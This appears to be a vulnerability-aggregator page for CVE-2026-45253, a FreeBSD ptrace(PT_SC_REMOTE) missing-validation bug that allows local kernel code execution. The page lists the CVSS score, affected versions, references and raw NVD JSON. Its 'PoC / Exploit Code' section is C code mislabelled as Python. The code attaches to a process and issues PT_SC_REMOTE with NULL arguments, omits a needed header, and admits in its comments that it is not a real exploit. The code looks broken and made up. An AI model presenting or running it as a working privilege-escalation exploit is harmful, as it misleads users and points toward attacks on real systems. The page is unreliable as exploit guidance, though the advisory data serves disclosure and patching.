CVE-2026-45253

Description

ptrace(PT_SC_REMOTE) failed to properly validate parameters for the syscall(2) and __syscall(2) meta-system calls. As a result, a user with the ability to debug a process may trigger arbitrary code execution in the kernel, even if the target process has no special privileges. The missing validation allows an unprivileged local user to escalate privileges, potentially gaining full control of the affected system.

CVSS Details

CVSS Score

8.4

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:freebsd:freebsd:14.3:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:14.3:p1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:14.3:p10:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:14.3:p11:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:14.3:p12:*:*:*:*:*:* - VULNERABLE

FreeBSD (参考 FreeBSD-SA-26:21)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-45253
 * This code demonstrates the concept of using ptrace with PT_SC_REMOTE
 * to trigger the missing validation vulnerability.
 * NOTE: For educational purposes only.
 */

#include <sys/ptrace.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    pid_t pid;

    if (argc < 2) {
        printf("Usage: %s <target_pid>\n", argv[0]);
        return 1;
    }

    pid = atoi(argv[1]);

    // Attach to the target process
    if (ptrace(PT_ATTACH, pid, NULL, 0) == -1) {
        perror("ptrace attach");
        return 1;
    }

    printf("Attached to process %d\n", pid);

    // Wait for the process to stop
    wait(NULL);

    // Attempt to exploit PT_SC_REMOTE with invalid syscall parameters
    // In a real exploit, specific registers/memory would be manipulated
    // to achieve kernel code execution.
    struct ptrace_sc_remote req;
    req.pscr_sysent = NULL; // Manipulated argument
    req.pscr_args = NULL;   // Manipulated argument

    if (ptrace(PT_SC_REMOTE, pid, (caddr_t)&req, 0) == -1) {
        perror("ptrace PT_SC_REMOTE");
    } else {
        printf("PT_SC_REMOTE executed. Check kernel status.\n");
    }

    // Detach
    ptrace(PT_DETACH, pid, (caddr_t)1, 0);

    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45253
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45253
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45253/
[4] VulDB https://vuldb.com/cve/CVE-2026-45253
[5] https://security.freebsd.org/advisories/FreeBSD-SA-26:21.ptrace.asc

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45253", "sourceIdentifier": "[email protected]", "published": "2026-05-21T10:16:26.270", "lastModified": "2026-05-21T19:01:01.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ptrace(PT_SC_REMOTE) failed to properly validate parameters for the syscall(2) and __syscall(2) meta-system calls. As a result, a user with the ability to debug a process may trigger arbitrary code execution in the kernel, even if the target process has no special privileges.\n\nThe missing validation allows an unprivileged local user to escalate privileges, potentially gaining full control of the affected system."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:-:*:*:*:*:*:*", "matchCriteriaId": "9DC7C54E-58AF-4ADE-84AF-0EF0F325E20E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p1:*:*:*:*:*:*", "matchCriteriaId": "D3D22B8C-36CF-4800-9673-0B0240558BDD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p10:*:*:*:*:*:*", "matchCriteriaId": "7296F5AA-F8C1-4277-A4EE-C2B24073A320"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p11:*:*:*:*:*:*", "matchCriteriaId": "C30E4A9C-0594-4F40-92B3-26CB9AA85AE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p12:*:*:*:*:*:*", "matchCriteriaId": "9F83F91B-587A-433C-99DB-0D63E267FF16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p13:*:*:*:*:*:*", "matchCriteriaId": "44B9C2FC-756E-459F-8E68-C2C2B8C258AC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p2:*:*:*:*:*:*", "matchCriteriaId": "242FA2A8-5D7D-4617-A411-2651FF3A3E4C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p3:*:*:*:*:*:*", "matchCriteriaId": "40573F60-F3B7-4AEC-846A-B08E5B7D9D00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p4:*:*:*:*:*:*", "matchCriteriaId": "1FB832CE-0A98-44A2-8BAC-CD38A64279B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p5:*:*:*:*:*:*", "matchCriteriaId": "9A785F8E-C218-41AE-8D57-BF06DDAEF7CB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p6:*:*:*:*:*:*", "matchCriteriaId": "C3909FDD-B2A2-45B6-A40B-1D303A717F15"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p7:*:*:*:*:*:*", "matchCriteriaId": "720597A2-F181-46E1-8A0D-097E17ADC4FB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p8:*:*:*:*:*:*", "matchCriteriaId": "DC8A75D0-148A-427A-9783-45477EABED21"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p9:*:*:*:*:*:*", "matchCriteriaId": "F5D39FC9-6DBA-46C8-BB80-A6188E6A8527"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:-:*:*:*:*:*:*", "matchCriteriaId": "8F3856BE-666F-4FA1-A6AD-FE179CEBF1E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:p1:*:*:*:*:*:*", "matchCriteriaId": "D9CC0037-3282-42C3-80D8-F6C1D43B9332"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:p2:*:*:*:*:*:*", "matchCriteriaId": "1EADA828-3C20-43C0-A0CA-3AC7D7F23DBD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:p3:*:*:*:*:*:*", "matchCriteriaId": "53D73FD2-4B06-47D3-BA2A-4363E9DE3565"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:p4:*:*:*:*:*:*", "matchCriteriaId": "D726890B-E679-43A9-A211-D5C05BBE3941"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:rc1:*:*:*:*:*:*", "matchCriteriaId": "0342A715-E211-4AF6-97ED-32EB9EBB947D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:-:*:*:*:*:*:*", "matchCriteriaId": "368CFE5D-C5C2-42AF-AAF4-28DFE1A59C3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:p1:*:*:*:*:*:*", "matchCriteriaId": "AA4AAA57-70A7-4717-ACF2-A253E757FF2C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:p2:*:*:*:*:*:*", "matchCriteriaId": "E24ABFA6-4D12-4DE5-832B-438502C7D188"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:p3:*:*:*:*:*:*", "matchCriteriaId": "C1C9869C-494B-4628-9AA3-4AA5B989C377"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:p4:*:*:*:*:*:*", "matchCriteriaId": "002AA2FE-C7BA-471A-9434-0E56A878ACBF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:p5 ... 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